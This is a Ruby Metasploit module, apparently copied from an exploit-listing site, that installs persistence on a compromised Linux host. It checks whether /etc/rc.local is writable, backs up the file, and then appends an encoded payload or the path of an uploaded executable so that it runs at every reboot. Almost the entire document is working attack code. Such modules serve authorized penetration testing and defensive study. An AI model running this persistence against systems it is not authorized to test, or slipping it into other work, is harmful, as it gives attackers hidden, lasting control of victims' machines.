Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-PERSISTENCE-RC_LOCAL-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Exploit::Local::Persistence
  include Msf::Auxiliary::Report
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/rc_local_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'rc.local Persistence',
        'Description' => %q{
          This module will edit /etc/rc.local in order to persist a payload.
          The payload will be executed on the next reboot.
          Verified on Ubuntu 18.04.3
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Eliott Teissonniere' ],
        'Platform' => [ 'unix', 'linux' ],
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'Payload' => {
          'BadChars' => '#%\n"'
        },
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1037_004_RC_SCRIPTS]
        ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD.
        'Targets' => [ ['Automatic', {}] ],
        'Privileged' => true,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        },
        'DefaultTarget' => 0
      )
    )
    register_options([
      OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
    ])
  end

  def check
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    # a few notes for those who like to read source code. On Ubuntu 18.04.3, when no
    # /etc/rc.local file exists, systemctl status rc.local shows inactive (dead).
    # When /etc/rc.local exists, systemctl status rc.local shows active (exited).
    # so checking the service status isn't necessarily helpful.
    if exists?('/etc/rc.local')
      return CheckCode::Safe('/etc/rc.local isnt writable') unless writable?('/etc/rc.local')
    else
      return CheckCode::Safe('/etc/ isnt writable') unless writable?('/etc/')
    end

    CheckCode::Appears('/etc/rc.local is writable')
  end

  def install_persistence
    print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    rc_path = '/etc/rc.local'

    print_status "Reading #{rc_path}"

    # read /etc/rc.local, but remove `exit 0`
    rc_local = '#!/bin/sh'
    if exists? rc_path
      rc_local = read_file(rc_path).gsub(/^exit.*$/, '')
      backup_profile_path = store_loot('rc.local', 'text/plain', session, rc_local, 'rc.local', '/etc/rc.local backup')
      print_status("Created /etc/rc.local backup: #{backup_profile_path}")
      @clean_up_rc << "upload #{backup_profile_path} #{rc_path}\n"
    else
      @clean_up_rc << "rm #{rc_path}\n"
    end

    if payload.arch.first == 'cmd'
      # add payload and put back `exit 0`
      pload = payload.encoded
      pload = "#{pload} &" unless pload.end_with?('&')
      rc_local << "\n#{pload}\nexit 0\n"
      print_status "Patching #{rc_path}"
    else
      payload_path = writable_dir
      payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
      payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
      payload_path << payload_name
      print_status("Uploading payload file to #{payload_path}")
      upload_and_chmodx payload_path, generate_payload_exe
      rc_local << "\n#{payload_path} &\nexit 0\n"
      @clean_up_rc << "rm #{payload_path}\n"
    end

    # write new file
    write_file(rc_path, rc_local)
    chmod(rc_path, 0o755)

    print_good('Payload will be triggered at next reboot')
  end
end